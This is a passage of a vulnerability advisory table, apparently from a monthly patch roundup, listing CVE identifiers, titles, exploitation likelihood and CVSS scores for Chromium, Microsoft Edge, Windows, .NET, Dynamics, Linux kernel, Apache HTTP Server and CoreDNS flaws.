CVE-2026-7920

Chromium: CVE-2026-7920 Use after free in Skia

n/a

No
CVE-2026-7921

Chromium: CVE-2026-7921 Use after free in Passwords

n/a

No
CVE-2026-7922

Chromium: CVE-2026-7922 Use after free in ServiceWorker

n/a

No
CVE-2026-7923

Chromium: CVE-2026-7923 Out of bounds write in Skia

n/a

No
CVE-2026-7924

Chromium: CVE-2026-7924 Uninitialized Use in Dawn

n/a

No
CVE-2026-7925

Chromium: CVE-2026-7925 Use after free in Chromoting

n/a

No
CVE-2026-7926

Chromium: CVE-2026-7926 Use after free in PresentationAPI

n/a

No
CVE-2026-7927

Chromium: CVE-2026-7927 Type Confusion in Runtime

n/a

No
CVE-2026-7928

Chromium: CVE-2026-7928 Use after free in WebRTC

n/a

No
CVE-2026-7929

Chromium: CVE-2026-7929 Use after free in MediaRecording

n/a

No
CVE-2026-7930

Chromium: CVE-2026-7930 Insufficient validation of untrusted input in Cookies

n/a

No
CVE-2026-7932

Chromium: CVE-2026-7932 Insufficient policy enforcement in Downloads

n/a

No
CVE-2026-7933

Chromium: CVE-2026-7933 Out of bounds read in WebCodecs

n/a

No
CVE-2026-7934

Chromium: CVE-2026-7934 Insufficient validation of untrusted input in Popup Blocker

n/a

No
CVE-2026-7935

Chromium: CVE-2026-7935 Inappropriate implementation in Speech

n/a

No
CVE-2026-7936

Chromium: CVE-2026-7936 Object lifecycle issue in V8

n/a

No
CVE-2026-7937

Chromium: CVE-2026-7937 Insufficient policy enforcement in DevTools

n/a

No
CVE-2026-7938

Chromium: CVE-2026-7938 Use after free in CSS

n/a

No
CVE-2026-7939

Chromium: CVE-2026-7939 Inappropriate implementation in SanitizerAPI

n/a

No
CVE-2026-7940

Chromium: CVE-2026-7940 Use after free in V8

n/a

No
CVE-2026-7942

Chromium: CVE-2026-7942 Integer overflow in ANGLE

n/a

No
CVE-2026-7943

Chromium: CVE-2026-7943 Insufficient validation of untrusted input in ANGLE

n/a

No
CVE-2026-7944

Chromium: CVE-2026-7944 Insufficient validation of untrusted input in Persistent Cache

n/a

No
CVE-2026-7945

Chromium: CVE-2026-7945 Insufficient validation of untrusted input in COOP

n/a

No
CVE-2026-7946

Chromium: CVE-2026-7946 Insufficient policy enforcement in WebUI

n/a

No
CVE-2026-7947

Chromium: CVE-2026-7947 Insufficient validation of untrusted input in Network

n/a

No
CVE-2026-7948

Chromium: CVE-2026-7948 Race in Chromoting

n/a

No
CVE-2026-7949

Chromium: CVE-2026-7949 Out of bounds read in Skia

n/a

No
CVE-2026-7950

Chromium: CVE-2026-7950 Out of bounds read and write in GFX

n/a

No
CVE-2026-7951

Chromium: CVE-2026-7951 Out of bounds write in WebRTC

n/a

No
CVE-2026-7952

Chromium: CVE-2026-7952 Insufficient policy enforcement in Extensions

n/a

No
CVE-2026-7953

Chromium: CVE-2026-7953 Insufficient validation of untrusted input in Omnibox

n/a

No
CVE-2026-7954

Chromium: CVE-2026-7954 Race in Shared Storage

n/a

No
CVE-2026-7955

Chromium: CVE-2026-7955 Uninitialized Use in GPU

n/a

No
CVE-2026-7956

Chromium: CVE-2026-7956 Use after free in Navigation

n/a

No
CVE-2026-7957

Chromium: CVE-2026-7957 Out of bounds write in Media

n/a

No
CVE-2026-7958

Chromium: CVE-2026-7958 Inappropriate implementation in ServiceWorker

n/a

No
CVE-2026-7959

Chromium: CVE-2026-7959 Inappropriate implementation in Navigation

n/a

No
CVE-2026-7960

Chromium: CVE-2026-7960 Race in Speech

n/a

No
CVE-2026-7961

Chromium: CVE-2026-7961 Insufficient validation of untrusted input in Permissions

n/a

No
CVE-2026-7962

Chromium: CVE-2026-7962 Insufficient policy enforcement in DirectSockets

n/a

No
CVE-2026-7963

Chromium: CVE-2026-7963 Inappropriate implementation in ServiceWorker

n/a

No
CVE-2026-7964

Chromium: CVE-2026-7964 Insufficient validation of untrusted input in FileSystem

n/a

No
CVE-2026-7965

Chromium: CVE-2026-7965 Insufficient validation of untrusted input in DevTools

n/a

No
CVE-2026-7966

Chromium: CVE-2026-7966 Insufficient validation of untrusted input in SiteIsolation

n/a

No
CVE-2026-7967

Chromium: CVE-2026-7967 Insufficient validation of untrusted input in Navigation

n/a

No
CVE-2026-7968

Chromium: CVE-2026-7968 Insufficient validation of untrusted input in CORS

n/a

No
CVE-2026-7969

Chromium: CVE-2026-7969 Integer overflow in Network

n/a

No
CVE-2026-7970

Chromium: CVE-2026-7970 Use after free in TopChrome

n/a

No
CVE-2026-7971

Chromium: CVE-2026-7971 Inappropriate implementation in ORB

n/a

No
CVE-2026-7972

Chromium: CVE-2026-7972 Uninitialized Use in GPU

n/a

No
CVE-2026-7973

Chromium: CVE-2026-7973 Integer overflow in Dawn

n/a

No
CVE-2026-7974

Chromium: CVE-2026-7974 Use after free in Blink

n/a

No
CVE-2026-7975

Chromium: CVE-2026-7975 Use after free in DevTools

n/a

No
CVE-2026-7976

Chromium: CVE-2026-7976 Use after free in Views

n/a

No
CVE-2026-7977

Chromium: CVE-2026-7977 Inappropriate implementation in Canvas

n/a

No
CVE-2026-7978

Chromium: CVE-2026-7978 Inappropriate implementation in Companion

n/a

No
CVE-2026-7979

Chromium: CVE-2026-7979 Inappropriate implementation in Media

n/a

No
CVE-2026-7980

Chromium: CVE-2026-7980 Use after free in WebAudio

n/a

No
CVE-2026-7981

Chromium: CVE-2026-7981 Out of bounds read in Codecs

n/a

No
CVE-2026-7982

Chromium: CVE-2026-7982 Uninitialized Use in WebCodecs

n/a

No
CVE-2026-7983

Chromium: CVE-2026-7983 Out of bounds read in Dawn

n/a

No
CVE-2026-7984

Chromium: CVE-2026-7984 Use after free in ReadingMode

n/a

No
CVE-2026-7985

Chromium: CVE-2026-7985 Use after free in GPU

n/a

No
CVE-2026-7986

Chromium: CVE-2026-7986 Insufficient policy enforcement in Autofill

n/a

No
CVE-2026-7987

Chromium: CVE-2026-7987 Use after free in WebRTC

n/a

No
CVE-2026-7988

Chromium: CVE-2026-7988 Type Confusion in WebRTC

n/a

No
CVE-2026-7989

Chromium: CVE-2026-7989 Insufficient data validation in DataTransfer

n/a

No
CVE-2026-7990

Chromium: CVE-2026-7990 Insufficient validation of untrusted input in Updater

n/a

No
CVE-2026-7991

Chromium: CVE-2026-7991 Use after free in UI

n/a

No
CVE-2026-7992

Chromium: CVE-2026-7992 Insufficient validation of untrusted input in UI

n/a

No
CVE-2026-7994

Chromium: CVE-2026-7994 Inappropriate implementation in Chromoting

n/a

No
CVE-2026-7995

Chromium: CVE-2026-7995 Out of bounds read in AdFilter

n/a

No
CVE-2026-7996

Chromium: CVE-2026-7996 Insufficient validation of untrusted input in SSL

n/a

No
CVE-2026-7997

Chromium: CVE-2026-7997 Insufficient validation of untrusted input in Updater

n/a

No
CVE-2026-7998

Chromium: CVE-2026-7998 Insufficient validation of untrusted input in Dialog

n/a

No
CVE-2026-7999

Chromium: CVE-2026-7999 Inappropriate implementation in V8

n/a

No
CVE-2026-8000

Chromium: CVE-2026-8000 Insufficient validation of untrusted input in ChromeDriver

n/a

No
CVE-2026-8001

Chromium: CVE-2026-8001 Use after free in Printing

n/a

No
CVE-2026-8002

Chromium: CVE-2026-8002 Use after free in Audio

n/a

No
CVE-2026-8003

Chromium: CVE-2026-8003 Insufficient validation of untrusted input in TabGroups

n/a

No
CVE-2026-8004

Chromium: CVE-2026-8004 Insufficient policy enforcement in DevTools

n/a

No
CVE-2026-8005

Chromium: CVE-2026-8005 Insufficient validation of untrusted input in Cast

n/a

No
CVE-2026-8006

Chromium: CVE-2026-8006 Insufficient policy enforcement in DevTools

n/a

No
CVE-2026-8007

Chromium: CVE-2026-8007 Insufficient validation of untrusted input in Cast

n/a

No
CVE-2026-8008

Chromium: CVE-2026-8008 Inappropriate implementation in DevTools

n/a

No
CVE-2026-8009

Chromium: CVE-2026-8009 Inappropriate implementation in Cast

n/a

No
CVE-2026-8010

Chromium: CVE-2026-8010 Insufficient validation of untrusted input in SiteIsolation

n/a

No
CVE-2026-8011

Chromium: CVE-2026-8011 Insufficient policy enforcement in Search

n/a

No
CVE-2026-8012

Chromium: CVE-2026-8012 Inappropriate implementation in MHTML

n/a

No
CVE-2026-8013

Chromium: CVE-2026-8013 Insufficient validation of untrusted input in FedCM

n/a

No
CVE-2026-8014

Chromium: CVE-2026-8014 Inappropriate implementation in Preload

n/a

No
CVE-2026-8015

Chromium: CVE-2026-8015 Inappropriate implementation in Media

n/a

No
CVE-2026-8016

Chromium: CVE-2026-8016 Use after free in WebRTC

n/a

No
CVE-2026-8017

Chromium: CVE-2026-8017 Side-channel information leakage in Media

n/a

No
CVE-2026-8018

Chromium: CVE-2026-8018 Insufficient policy enforcement in DevTools

n/a

No
CVE-2026-8019

Chromium: CVE-2026-8019 Insufficient policy enforcement in WebApp

n/a

No
CVE-2026-8021

Chromium: CVE-2026-8021 Script injection in UI

n/a

No
CVE-2026-8022

Chromium: CVE-2026-8022 Inappropriate implementation in MHTML

n/a

No
CVE-2026-33111

Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability

Exploitation Less Likely

No

7.5
CVE-2026-7896

Chromium: CVE-2026-7896 Integer overflow in Blink

n/a

No
CVE-2026-7897

Chromium: CVE-2026-7897 Use after free in Mobile

n/a

No
CVE-2026-7905

Chromium: CVE-2026-7905 Insufficient validation of untrusted input in Media

n/a

No
CVE-2026-7912

Chromium: CVE-2026-7912 Integer overflow in GPU

n/a

No
CVE-2026-7913

Chromium: CVE-2026-7913 Insufficient policy enforcement in DevTools

n/a

No
CVE-2026-7915

Chromium: CVE-2026-7915 Insufficient data validation in DevTools

n/a

No
CVE-2026-7931

Chromium: CVE-2026-7931 Insufficient validation of untrusted input in iOS

n/a

No
CVE-2026-7941

Chromium: CVE-2026-7941 Insufficient validation of untrusted input in Mobile

n/a

No
CVE-2026-7993

Chromium: CVE-2026-7993 Insufficient validation of untrusted input in Payments

n/a

No
CVE-2026-8020

Chromium: CVE-2026-8020 Uninitialized Use in GPU

n/a

No
CVE-2026-42838

Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability

Exploitation Less Likely

No

5.4
CVE-2026-42891

Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability

Exploitation Unlikely

No

6.5
CVE-2026-35429

Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability

Exploitation Unlikely

No

4.3
CVE-2026-40416

Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability

Exploitation Unlikely

No

4.3
CVE-2026-41107

Microsoft Edge (Chromium-based) Information Disclosure Vulnerability

Exploitation Less Likely

No

7.4

Developer Tools vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score
CVE-2026-42826

Azure DevOps Information Disclosure Vulnerability

N/A

No

10.0
CVE-2026-32175

.NET Core Tampering Vulnerability

Exploitation Less Likely

No

4.3
CVE-2026-32177

.NET Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.3
CVE-2026-35433

.NET Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.3
CVE-2026-42899

ASP.NET Core Denial of Service Vulnerability

Exploitation Unlikely

No

7.5
CVE-2026-41109

GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability

Exploitation Less Likely

No

8.8
CVE-2026-41094

Microsoft Data Formulator Remote Code Execution Vulnerability

Exploitation Less Likely

No

8.8
CVE-2026-41613

Visual Studio Code Elevation of Privilege Vulnerability

Exploitation Less Likely

No

8.8
CVE-2026-41612

Visual Studio Code Information Disclosure Vulnerability

Exploitation Less Likely

No

5.5
CVE-2026-41611

Visual Studio Code Remote Code Execution Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-41610

Visual Studio Code Security Feature Bypass Vulnerability

Exploitation Less Likely

No

6.3

ESU vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score
CVE-2025-54518

AMD: CVE-2025-54518 CPU OP Cache Corruption

Exploitation Unlikely

No
CVE-2026-41095

Data Deduplication Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-35424

Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability

Exploitation Unlikely

No

7.5
CVE-2026-40377

Microsoft Cryptographic Services Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-34329

Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability

Exploitation Less Likely

No

8.8
CVE-2026-41097

Secure Boot Security Feature Bypass Vulnerability

Exploitation Less Likely

No

6.7
CVE-2026-33839

Win32k Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.0
CVE-2026-34330

Win32k Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8
CVE-2026-34331

Win32k Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.0
CVE-2026-35423

Windows 11 Telnet Client Information Disclosure Vulnerability

Exploitation Unlikely

No

5.4
CVE-2026-34344

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-34345

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0
CVE-2026-35416

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.0
CVE-2026-41088

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8
CVE-2026-34343

Windows Application Identity (AppID) Subsystem Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-35418

Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8
CVE-2026-33835

Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8
CVE-2026-34337

Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-40407

Windows Common Log File System Driver Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8
CVE-2026-40397

Windows Common Log File System Driver Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8
CVE-2026-34336

Windows DWM Core Library Information Disclosure Vulnerability

Exploitation Unlikely

No

7.8
CVE-2026-33834

Windows Event Logging Service Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-32209

Windows Filtering Platform (WFP) Security Feature Bypass Vulnerability

Exploitation Unlikely

No

4.4
CVE-2026-35421

Windows GDI Remote Code Execution Vulnerability

Exploitation Unlikely

No

7.8
CVE-2026-40403

Windows Graphics Component Remote Code Execution Vulnerability

Exploitation Less Likely

No

8.8
CVE-2026-33841

Windows Kernel Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8
CVE-2026-35420

Windows Kernel Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-34339

Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability

Exploitation Less Likely

No

5.5
CVE-2026-34341

Windows Link-Layer Discovery Protocol (LLDP) Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0
CVE-2026-33838

Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-32161

Windows Native WiFi Miniport Driver Remote Code Execution Vulnerability

Exploitation Less Likely

No

7.5
CVE-2026-41089

Windows Netlogon Remote Code Execution Vulnerability

Exploitation Less Likely

No

9.8
CVE-2026-34342

Windows Print Spooler Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0
CVE-2026-34340

Windows Projected File System Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0
CVE-2026-40398

Windows Remote Desktop Services Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8
CVE-2026-21530

Windows Rich Text Edit Elevation of Privilege Vulnerability

Exploitation Less Likely

No

6.7
CVE-2026-32170

Windows Rich Text Edit Elevation of Privilege Vulnerability

Exploitation Less Likely

No

6.7
CVE-2026-40410

Windows SMB Client Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0
CVE-2026-35415

Windows Storage Spaces Controller Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-40414

Windows TCP/IP Denial of Service Vulnerability

Exploitation Unlikely

No

7.4
CVE-2026-40401

Windows TCP/IP Denial of Service Vulnerability

Exploitation Unlikely

No

7.1
CVE-2026-40413

Windows TCP/IP Denial of Service Vulnerability

Exploitation Less Likely

No

7.4
CVE-2026-35422

Windows TCP/IP Driver Security Feature Bypass Vulnerability

Exploitation Unlikely

No

6.5
CVE-2026-34351

Windows TCP/IP Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-40399

Windows TCP/IP Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-34334

Windows TCP/IP Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8
CVE-2026-40406

Windows TCP/IP Information Disclosure Vulnerability

Exploitation Less Likely

No

7.5
CVE-2026-33837

Windows TCP/IP Local Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8
CVE-2026-40415

Windows TCP/IP Remote Code Execution Vulnerability

Exploitation Unlikely

No

8.1
CVE-2026-42825

Windows Telephony Service Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.0
CVE-2026-34338

Windows Telephony Service Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-40382

Windows Telephony Service Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-40380

Windows Volume Manager Extension Driver Remote Code Execution Vulnerability

Exploitation Less Likely

No

6.2
CVE-2026-40408

Windows WAN ARP Driver Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-34333

Windows Win32k Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-34347

Windows Win32k Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0
CVE-2026-35417

Windows Win32k Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8

Mariner vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score
CVE-2026-7598

libssh2 userauth.c userauth_password integer overflow

n/a

No

7.3
CVE-2026-43870

Apache Thrift: Node.js web_server.js multi-vulnerability

n/a

No

7.3
CVE-2026-43868

Apache Thrift: Rust implementation vulnerable to CVE-2020-13949 pattern

n/a

No

5.3
CVE-2026-43869

Apache Thrift: TSSLTransportFactory.java hostname verification

n/a

No

7.3

Microsoft Dynamics vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score
CVE-2026-33821

Microsoft Dynamics 365 Customer Insights Elevation of Privilege Vulnerability

N/A

No

7.7
CVE-2026-40417

Microsoft Dynamics 365 Business Central Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-42898

Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability

Exploitation Unlikely

No

9.9
CVE-2026-42833

Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability

Exploitation Less Likely

No

9.1
CVE-2026-40374

Microsoft Power Automate Desktop Information Disclosure Vulnerability

Exploitation Less Likely

No

6.5

Open Source Software vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score
CVE-2026-31706

ksmbd: validate num_aces and harden ACE walk in smb_inherit_dacl()

n/a

No

8.8
CVE-2026-31723

usb: gadget: f_subset: Fix net_device lifecycle with device_move

n/a

No

7.8
CVE-2026-31724

usb: gadget: f_eem: Fix net_device lifecycle with device_move

n/a

No

7.8
CVE-2026-43053

xfs: close crash window in attr dabtree inactivation

n/a

No

5.5
CVE-2026-43048

HID: core: Mitigate potential OOB by removing bogus memset()

n/a

No

8.8
CVE-2026-31777

ALSA: ctxfi: Check the error for index mapping

n/a

No

7.0
CVE-2026-31722

usb: gadget: f_rndis: Fix net_device lifecycle with device_move

n/a

No

7.8
CVE-2026-43036

net: use skb_header_pointer() for TCPv4 GSO frag_off check

n/a

No

5.5
CVE-2026-31769

gpib: fix use-after-free in IO ioctl handlers

n/a

No
CVE-2026-31707

ksmbd: validate response sizes in ipc_validate_msg()

n/a

No

7.1
CVE-2026-31725

usb: gadget: f_ecm: Fix net_device lifecycle with device_move

n/a

No

7.8
CVE-2026-43049

HID: logitech-hidpp: Prevent use-after-free on force feedback initialisation failure

n/a

No

7.0
CVE-2026-43022

Bluetooth: hci_sync: hci_cmd_sync_queue_once() return -EEXIST if exists

n/a

No
CVE-2026-43042

mpls: add seqcount to protect the platform_label{,s} pair

n/a

No

7.1
CVE-2026-31771

Bluetooth: hci_event: move wake reason storage into validated event handlers

n/a

No

8.1
CVE-2026-43052

wifi: mac80211: check tdls flag in ieee80211_tdls_oper

n/a

No

7.0
CVE-2026-31709

smb: client: validate the whole DACL before rewriting it in cifsacl

n/a

No

8.8
CVE-2026-43021

Bluetooth: hci_sync: fix leaks when hci_cmd_sync_queue_once fails

n/a

No
CVE-2026-31712

ksmbd: require minimum ACE size in smb_check_perm_dacl()

n/a

No

8.3
CVE-2026-43010

bpf: Reject sleepable kprobe_multi programs at attach time

n/a

No

5.5
CVE-2026-43019

Bluetooth: hci_conn: fix potential UAF in set_cig_params_sync

n/a

No

7.8
CVE-2026-31729

usb: typec: ucsi: validate connector number in ucsi_notify_common()

n/a

No

7.0
CVE-2026-43045

mshv: Fix error handling in mshv_region_pin

n/a

No
CVE-2026-43009

bpf: Fix incorrect pruning due to atomic fetch precision tracking

n/a

No

7.8
CVE-2026-31715

f2fs: fix UAF caused by decrementing sbi->nr_pages[] in f2fs_write_end_io()

n/a

No

5.5
CVE-2026-31697

crypto: ccp: Don’t attempt to copy ID to userspace if PSP command failed

n/a

No

7.1
CVE-2026-31721

usb: gadget: f_hid: move list and spinlock inits from bind to alloc

n/a

No

7.8
CVE-2026-31711

smb: server: fix active_num_conn leak on transport allocation failure

n/a

No

7.5
CVE-2026-31699

crypto: ccp: Don’t attempt to copy CSR to userspace if PSP command failed

n/a

No

7.1
CVE-2026-31694

fuse: reject oversized dirents in page cache

n/a

No

7.8
CVE-2026-31705

ksmbd: fix out-of-bounds write in smb2_get_ea() EA alignment

n/a

No

9.8
CVE-2026-43033

crypto: authencesn – Do not place hiseq at end of dst for out-of-place decryption

n/a

No

7.8
CVE-2026-31696

rxrpc: Fix missing validation of ticket length in non-XDR key preparsing

n/a

No

5.5
CVE-2026-31698

crypto: ccp: Don’t attempt to copy PDH cert to userspace if PSP command failed

n/a

No

7.1
CVE-2026-31704

ksmbd: use check_add_overflow() to prevent u16 DACL size overflow

n/a

No

7.5
CVE-2026-31702

f2fs: fix use-after-free of sbi in f2fs_compress_write_end_io()

n/a

No

7.8
CVE-2026-31708

smb: client: fix OOB read in smb2_ioctl_query_info QUERY_INFO path

n/a

No

8.1
CVE-2026-31700

net/packet: fix TOCTOU race on mmap’d vnet_hdr in tpacket_snd()

n/a

No

7.8
CVE-2026-7598

libssh2 userauth.c userauth_password integer overflow

n/a

No

7.3
CVE-2026-43058

media: vidtv: fix pass-by-value structs causing MSAN warnings

n/a

No

7.1
CVE-2026-37457

n/a

No

7.5
CVE-2026-43964

n/a

No

3.7
CVE-2026-43037

ip6_tunnel: clear skb2->cb[] in ip4ip6_err()

n/a

No

7.0
CVE-2026-33190

CoreDNS TSIG authentication bypass on encrypted DNS transports

n/a

No
CVE-2026-33489

CoreDNS transfer plugin subzone ACL bypass via lexicographic zone comparison

n/a

No
CVE-2026-32936

CoreDNS DoH GET path missing size validation causes CPU and memory amplification

n/a

No
CVE-2026-32934

CoreDNS DNS-over-QUIC unbounded goroutine growth leads to denial of service

n/a

No
CVE-2026-35579

CoreDNS TSIG authentication bypass on gRPC, QUIC, DoH, and DoH3 transports

n/a

No
CVE-2026-43073

x86-64: rename misleadingly named ‘__copy_user_nocache()’ function

n/a

No

2.5
CVE-2026-42151

Prometheus Azure AD remote write OAuth client secret exposed via config API

n/a

No

7.5
CVE-2026-42154

Prometheus: remote read endpoint allows denial of service via crafted snappy payload

n/a

No

7.5
CVE-2026-43125

dlm: validate length in dlm_search_rsb_tree

n/a

No

7.8
CVE-2026-43248

vhost: move vdpa group bound check to vhost_vdpa

n/a

No

7.1
CVE-2026-43176

wifi: rtw89: pci: validate release report content before using for RTL8922DE

n/a

No

7.0
CVE-2026-43204

ASoC: qcom: q6asm: drop DSP responses for closed data streams

n/a

No

5.5
CVE-2026-43131

drm/amd/pm: Fix null pointer dereference issue

n/a

No

5.5
CVE-2026-43126

ALSA: mixer: oss: Add card disconnect checkpoints

n/a

No

5.5
CVE-2026-43127

ntfs3: fix circular locking dependency in run_unpack_ex

n/a

No

5.5
CVE-2026-43161

iommu/vt-d: Skip dev-iotlb flush for inaccessible PCIe device without scalable mode

n/a

No

5.5
CVE-2026-43198

tcp: fix potential race in tcp_v6_syn_recv_sock()

n/a

No

4.8
CVE-2026-43245

ntfs: ->d_compare() must not block

n/a

No

7.1
CVE-2025-71290

misc: ti_fpc202: fix a potential memory leak in probe function

n/a

No

5.5
CVE-2026-43137

ASoC: SOF: Intel: hda: Fix NULL pointer dereference

n/a

No

5.5
CVE-2026-43115

srcu: Use irq_work to start GP in tiny SRCU

n/a

No

5.5
CVE-2026-43234

team: avoid NETDEV_CHANGEMTU event when unregistering slave

n/a

No

5.5
CVE-2025-71293

drm/amdgpu/ras: Move ras data alloc before bad page check

n/a

No

5.5
CVE-2026-43172

wifi: iwlwifi: fix 22000 series SMEM parsing

n/a

No

5.3
CVE-2025-71285

net: qrtr: Drop the MHI auto_queue feature for IPCR DL channels

n/a

No

4.7
CVE-2026-43197

netconsole: avoid OOB reads, msg is not nul-terminated

n/a

No

5.5
CVE-2026-43185

ksmbd: fix signededness bug in smb_direct_prepare_negotiation()

n/a

No

5.5
CVE-2025-71273

wifi: rtw88: Use devm_kmemdup() in rtw_set_supported_band()

n/a

No

5.3
CVE-2026-43118

btrfs: fix zero size inode with non-zero size after log replay

n/a

No

3.3
CVE-2026-43109

x86: shadow stacks: proper error handling for mmap lock

n/a

No

7.1
CVE-2026-43153

xfs: remove xfs_attr_leaf_hasname

n/a

No

7.1
CVE-2026-43129

ima: verify the previous kernel’s IMA buffer lies in addressable RAM

n/a

No

5.5
CVE-2026-43116

netfilter: ctnetlink: ensure safe access to master conntrack

n/a

No

7.1
CVE-2026-43274

mailbox: mchp-ipc-sbi: fix out-of-bounds access in mchp_ipc_get_cluster_aggr_irq()

n/a

No

7.1
CVE-2026-43244

kcm: fix zero-frag skb in frag_list on partial sendmsg error

n/a

No

5.5
CVE-2026-43191

drm/amd/display: Adjust PHY FSM transition to TX_EN-to-PLL_ON for TMDS on DCN35

n/a

No

5.5
CVE-2026-43258

alpha: fix user-space corruption during memory compaction

n/a

No

5.5
CVE-2025-71289

fs/ntfs3: handle attr_set_size() errors when truncating files

n/a

No

7.1
CVE-2026-43107

xfrm: account XFRMA_IF_ID in aevent size calculation

n/a

No

5.5
CVE-2026-43243

drm/amd/display: Add signal type check for dcn401 get_phyd32clk_src

n/a

No

5.5
CVE-2025-71294

drm/amdgpu: fix NULL pointer issue buffer funcs

n/a

No

5.5
CVE-2026-43250

usb: chipidea: udc: fix DMA and SG cleanup in _ep_nuke()

n/a

No

7.1
CVE-2026-43237

drm/amdgpu: Refactor amdgpu_gem_va_ioctl for Handling Last Fence Update and Timeline Management v4

n/a

No

5.5
CVE-2026-43201

APEI/GHES: ARM processor Error: don’t go past allocated memory

n/a

No

5.5
CVE-2026-43219

net: cpsw_new: Fix potential unregister of netdev that has not been registered yet

n/a

No

7.1
CVE-2026-43165

hwmon: (nct7363) Fix a resource leak in nct7363_present_pwm_fanin

n/a

No

5.5
CVE-2026-43088

net: af_key: zero aligned sockaddr tail in PF_KEY exports

n/a

No

7.1
CVE-2026-43195

drm/amdgpu: validate user queue size constraints

n/a

No

7.1
CVE-2025-71272

most: core: fix resource leak in most_register_interface error paths

n/a

No

5.5
CVE-2026-43213

wifi: rtw89: pci: validate sequence number of TX release report

n/a

No

7.0
CVE-2026-43228

hfs: Replace BUG_ON with error handling for CNID count checks

n/a

No

7.1
CVE-2026-43216

net: Drop the lock in skb_may_tx_timestamp()

n/a

No

5.5
CVE-2026-43119

Bluetooth: hci_sync: annotate data-races around hdev->req_status

n/a

No

5.3
CVE-2026-43267

wifi: rtw89: fix potential zero beacon interval in beacon tracking

n/a

No

7.0
CVE-2026-43101

ipv6: ioam: fix potential NULL dereferences in __ioam6_fill_trace_data()

n/a

No

7.0
CVE-2026-43199

net/mlx5e: Fix “scheduling while atomic” in IPsec MAC address query

n/a

No

7.0
CVE-2026-43083

net: ioam6: fix OOB and missing lock

n/a

No

7.0
CVE-2026-43870

Apache Thrift: Node.js web_server.js multi-vulnerability

n/a

No

7.3
CVE-2026-43868

Apache Thrift: Rust implementation vulnerable to CVE-2020-13949 pattern

n/a

No

5.3
CVE-2026-33523

Apache HTTP Server: multiple modules: HTTP response splitting forwarding malicious status line

n/a

No

6.5
CVE-2026-23918

Apache HTTP Server: http2: double free and possible RCE on early reset

n/a

No

8.8
CVE-2026-34059

Apache HTTP Server: mod_proxy_ajp: Heap Over-Read and memory disclosure in ajp_parse_data()

n/a

No

7.5
CVE-2026-34032

Apache HTTP Server: mod_proxy_ajp: Heap Buffer Over-Read Due to Missing Null-Termination Check (ajp_msg_get_string)

n/a

No

5.3
CVE-2026-24072

Apache HTTP Server: mod_rewrite elevation of privileges via ap_expr

n/a

No

8.8
CVE-2026-33006

Apache HTTP Server: mod_auth_digest timing attack

n/a

No

4.8
CVE-2026-33007

Apache HTTP Server: mod_authn_socache crash

n/a

No

5.3
CVE-2026-29169

Apache HTTP Server: mod_dav_lock indirect lock crash

n/a

No

7.5
CVE-2026-29168

Apache HTTP Server: mod_md unrestricted OCSP response

n/a

No

7.3
CVE-2026-33857

Apache HTTP Server: Off-by-one OOB reads in AJP getter functions

